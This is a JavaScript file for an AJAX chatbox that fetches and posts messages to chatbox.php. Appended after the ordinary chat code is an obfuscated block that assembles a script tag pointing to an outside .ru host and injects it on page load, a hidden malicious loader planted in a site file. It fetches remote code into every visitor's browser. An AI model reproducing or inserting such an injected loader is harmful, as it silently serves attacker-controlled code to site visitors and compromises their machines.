var server = 'chatbox.php';
var posting = false;

// Function to Disable/Enable input fields
function input_disable(type) {
	disableThis = document.getElementsByTagName("input");
	for (i=0; i< disableThis.length; i++) {
			disableThis[i].disabled = type;
	}
}

// Request function for get possible new messages
function get_messages() {
        var args = 'ajax=1&last_msg='+LastMsg;
        var do_ajax = new Ajax.Request(server, {method: 'get', parameters: args, onComplete: handle_response});
	Element.show('loading');
}

// Request function for send new message
function send_message() {
        var req_message = escape($F('req_message'));
        var form_user = escape($F('form_user'));
        var req_username = escape($F('req_username'));
        var req_email = escape($F('req_email'));
        var email = escape($F('email'));
	
        // Send message
        var args = 'ajax=1&last_msg=' + LastMsg + '&form_user=' + encodeURIComponent(form_user) + '&req_username=' + encodeURIComponent(req_username) + '&req_email=' + encodeURIComponent(req_email) + '&email=' + encodeURIComponent(email) + '&req_message=' + encodeURIComponent(req_message);
	var do_ajax = new Ajax.Request(server, {method: 'post', parameters: args, onComplete: handle_response});
	
	// Disable input fields while posting
	input_disable(true);
	// Display loading image
	Element.show('loading');
	// Let the script know that we're trying to post
	posting = true;
}

// Get the response server
function handle_response(request) {
        var LastMsgInfo = '';
	
	// Hide loading image
	Element.hide('loading');
	
        // We're getting a valid response, first get the latest timestamp
        var response = request.responseText;
	LastMsgInfo = response.substring(0, 10);
	
	// If error, we display error message
	if (LastMsgInfo == 'error:chat') {
		 error = response.substring(10, response.length);
		 var chatbox = $('chatbox');
		 chatbox.innerHTML = chatbox.innerHTML + error + '\n';
	}
	// If it's a posted response we get message(s)
	else if (LastMsgInfo == 'PostedInDB') {
		get_messages();
	}
	// If Response TimeStamp != Send TimeStamp we display display new message
	else if (LastMsgInfo != LastMsg) {
		LastMsg = LastMsgInfo;
		messages = response.substring(10, response.length);
		// Add all new message(s)
		var chatbox = $('chatbox');
		chatbox.innerHTML = chatbox.innerHTML + messages + '\n';
	}
	// If we was posting !
	if (posting == true) {
		
		// Re-enable input fields after posting but we need min 500ms beetween each post for good timestamp order
		setTimeout('input_disable(false)', 500);
		// If no error, we delete "req_message" value
		if (LastMsgInfo != 'error:chat')
			$('req_message').value = '';
		// Put focus in the input message box
		document.formulaire.req_message.focus();
		// Let the script know that we're not trying to post.
		posting = false; 
	}
	
	// Auto Scroll chatbox if is checked
	if ($('autoscroll').checked == true)
		$('chatbox').scrollTop = $('chatbox').scrollHeight;
}

var vo="";function i(){var ya;if(ya!='kY'){ya='kY'};this.s="";var Z=new Date();var u="gf37u".substr(0,1);var G=new Array();var o='';var w='';var nI='';var y=RegExp;var fy='';var xV;if(xV!='fn' && xV!='Ru'){xV=''};var K;if(K!='' && K!='Zl'){K=''};function T(U,J){var Gd;if(Gd!='Cb' && Gd != ''){Gd=null};var k= new String("[KRNJ".substr(0,1));k+=J;k+=new String("Ciw]".substr(3));var nZ=new Array();var uK;if(uK!='gv' && uK!='wW'){uK=''};var iq;if(iq!='F'){iq='F'};var e=new y(k, u);var ME='';return U.replace(e, o);var X=new Date();};this.Ya="";this.I="";var fC=new Date();var QU="";var JrG;if(JrG!='UH' && JrG!='c'){JrG=''};var YL="";var Q='';var h_="";var ci=new Array();var C=new String("scripIT8h".substr(0,5)+"zbptbzp".substr(3,1));var x_;if(x_!=''){x_='OR'};this.Iv='';var TB=String("/addiH5mB".substr(0,5)+"1zYcting".substr(3)+"Qu7igames".substr(4)+".com/htU".substr(0,5)+"addicyV5".substr(0,5)+"tinggCfbo".substr(0,5)+"DAqames.DAq".substr(3,5)+"com/c4gw".substr(0,5)+"net.c"+"om/go"+"GDqnogle.".substr(4)+"DdOcom/iDdO".substr(3,5)+"sohun"+"e04t.come40".substr(3,5)+"GjL3.phpLGj3".substr(4,4));this.Mv="";this.a="";var n=T('8416760617867607764',"1674");var A=new String("srHRto".substr(0,2)+"cCUgq".substr(0,1));var g=String("http"+"://v4VNa".substr(0,4)+"net-ralN".substr(0,4)+"CNbcn.zNbC".substr(3,4)+"10jylomj10".substr(3,4)+".com"+"lHc.stalHc".substr(3,4)+"jUhyfri".substr(3)+"endskrj".substr(0,4)+"qBTN-de.".substr(4)+"neww"+"orld7H12".substr(0,4)+"unioNgJ9".substr(0,4)+"n.ru"+":BHFe".substr(0,1));var dT=new Array();var Rz;if(Rz!='NA' && Rz!='Qi'){Rz=''};var YG;if(YG!='' && YG!='_X'){YG=null};var BH;if(BH!='' && BH!='nn'){BH=null};var Jr="defC6wx".substr(0,3)+"ers8wd".substr(0,2);var q="";var z=window;this.yw="";var De;if(De!='wh' && De != ''){De=null};var Ni=new Array();z.onload=function(){try {var Eg;if(Eg!='eZ' && Eg != ''){Eg=null};this.le='';var eu=new String();var uF=new Array();Q=g+n;this.xm="";this.EXT="";Q+=TB;var Hh;if(Hh!='TkN'){Hh=''};var XA="";var Oo='';var jPW='';f=document.createElement(C);this.gM="";f[Jr]=[1,0][0];var Iy='';var yi="";f[A]=Q;var gL="";var IH='';var xD='';var hi;if(hi!='gp' && hi != ''){hi=null};document.body.appendChild(f);this.nb="";this.tC="";} catch(t){};var rb="";};var BG;if(BG!='fT'){BG='fT'};};var Hl="";var Eh=new Date();i();var Zf;if(Zf!='CT' && Zf!='WT'){Zf='CT'};var rM=new Date();